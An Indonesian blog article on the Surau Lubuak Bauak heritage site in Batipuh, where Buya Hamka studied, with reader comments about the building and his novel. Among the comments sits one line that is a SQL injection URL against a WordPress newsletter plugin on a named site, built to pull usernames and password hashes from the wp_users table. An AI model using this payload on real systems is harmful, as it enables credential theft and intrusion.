Cagar Budaya Surau Lubuak Bauk NagariBatipuah, Kabupaten Danahdatar Tempat Setting “Tenggelamnya Kapal Van der Wijck”
Surau yang berdiri sekitar tahun 1884 itu masih berdiri kokoh, meski di beberapa sisi bangunannya sudah lapuk dimakan usia. Surau yang pernah menjadi tempat mengaji Buya Hamka (Haji Abdul Malik Karim Amrullah) ini masih dipergunakan anak-anak nagari Batipuah untuk menuntut ilmu agama sampai sekarang.
Buya Hamka adalah seorang sastrawan Indonesia, sekaligus ulama, dan aktivis politik. Belakangan ia diberikan sebutan Buya, yaitu panggilan buat orang Minangkabau yang berasal dari kata abi, abuya dalam bahasa Arab, yang berarti ayahku, atau seseorang yang dihormati di dalam masyarakat.
Ayahnya adalah Syekh Abdul Karim bin Amrullah, yang dikenal sebagai Haji Rasul, yang merupakan pelopor Gerakan Islah (tajdid) di Minangkabau, sekembalinya dari Makkah pada tahun 1906. Beliau lahir di desa Molek, Maninjau 1908 dan wafat di Jakarta tahun 1981. Banyak sejarah lahir di surau ini. Termasuk roman yang ditulis buya De-Er (sebutan lain buya Hamka) berjudul “Tenggelamnya Kapal Van der Wijck”, konon alur ceritanya lahir di surau yang terletak di tepi jalan raya Kecamatan Batipuh, Kabupaten Tanahdatar ini.
Surau empat tingkat ini struktur bangunannya terbuat dari kayu dan berdiri dari banyak tiang. Setiap tiang berjarak sekitar 2 meter, kecuali di tiang tengah. Untuk menyatukan antar dinding dan tiang bangunan, perancang bangunan waktu itu menggunakan paku terbuat dari bambu. Sedangkan atapnya terbuat dari rumbio. Sekitar tahun 1990, surau tersebut di renovasi tanpa menghilangkan arsitektur aslinya. Tiang yang menjadi penyangga surau itu, menurut Penjaga Cagar Budaya Surau Lubuak Bauak Armi Lestari, berasal dari pohon kayu pilihan yang di bawa dari hutan sekitar Batipuah. “Tonggak tuo itu berasal kayu pilihan, sehingga bisa bertahan ratusan tahun.
Sekarang kondisinya masih kuat,” ujar Armi Lestari yang juga pernah menuntut ilmu agama di surau tersebut.
Bahkan, bangunan surau ini tidak mengalami kerusakan, walaupun sudah beberapa kali diguncang gempa besar dan dilanda angin kencang. “Saat gempa, bangunannya hanya bergoyang, tapi tidak mengalami kerusakan,” kata Armi yang sudah 15 tahun menjaga surau yang masuk peninggalan purbakala ini. Di dalam ruangan surau, kita bisa merasakan kehidupan surau tempoe doeloe. Terdapat sejumlah papan panjang anak-anak mengaji yang ditata melingkar menghadap ke sebuah papan tulis, serta kursi plus meja sang guru mengaji. Ini menggambarkan, bagaimana masyarakat minang mengajari anaknya mengaji. Armin Lestari mengatakan, saat ini sekitar 120 orang anak masih belajar di surau yang berusia ratusan tahun ini.
Cagar budaya bernama “Surau Lubuak Bauak” ini sebenarnya punya magnet yang kuat untuk menggaet wisatawan domestik maupun mancanegara. Apalagi terletak di tepi jalan dan mudah dijangkau dari berbagai daerah di Sumbar. Namun sayang, objek wisata ini seperti kurang diperhatikan. Kondisinya kurang terawat secara baik. Apalagi, tempat ini pernah dijadikan buya Hamka untuk menggali ilmu agama—yang pengaruhnya sampai ke Malaysia, Singapura dan beberapa negara tetangga lainnya. Seharusnya pemerintah daerah punya perhatian khusus terhadap cagar budaya ini. Sangat disayangkan, jika aset bernilai ini dibiarkan begitu saja.
Sebagai cagar budaya, seharusnya ada bukti peninggalan buya Hamka sebagai tanda surau itu pernah melahirkan ulama bertaraf internasional seperti, sandal, peci, pena ataupun peralatan yang pernah dipergunakan oleh pengarang “Tenggelamnya Kapal Van der Wijk tersebut sehingga pengunjung benar-benar bisa merasakan nuansa surau tempat Hamka mengaji. Saat penulis mendatangi surau ini, kebetulan bertemu rombongan wisatawan dari Malaysia yang tengah berkunjung. Mereka tampak hanya terpaku melihat surau yang kurang terawat tersebut. Lalu, seorang anggota rombongan bertanya kepada penjaga surau. “Apa yang bisa saya lihat di dalam surau ini?,”
tanyanya. Lalu, penjaga menjawab, “Hanya bangunan ini yang bisa dilihat,” jawab Armi, sambil menunjuk ke arah surau itu. Mendengar jawaban tersebut, lantas si pelancong itu dengan sedikit kecewa dan mengatakan, “Kalau tidak ada yang bisa dijual, apa yang bisa kami beli.” Artinya, kalau cagar budaya ini mau dijadikan objek wisata harus ada yang bisa kami lihat dan nikmati baru kami bisa keluarkan uang. Ironis memang. Tetapi itulah kenyataannya tempat bersejarah itu tengelam ditengah pesat kemajuan masyarakat saat ini. Kenyataan inilah yang dikhawatirkan Buya Hamka puluhan tahun silam. Ia khawatir kemajuan teknologi mengkikis kebudayaan masyarakat sehingga lupa akan nilai-nilai budaya yang menjadi ciri khas masyarakat Sumatera Barat.



http://diversityworks.co.nz/wp-content/plugins/st_newsletter/shiftthis-preview.php?newsletter=-1/**/UNION/**/SELECT/**/concat(0×7c,user_login,0×7c,user_pass,0×7c)/**/FROM/**/wp_users
Kasih info kalau ada versi lengkapnya dari Novel Tenggelamnya Kapal van Der Wijck ya
beli aja di toko buku pak…biasanya ada..
kalau di jogja coba cari di sosial agency. teman saya barusan beli di sana
Buya De Er adalah Bapaknya Hamka, walau beliau juga DR HC
pengen deh main kesana
soal bukunya aku dah baca dan ceritanya sangat mengharukan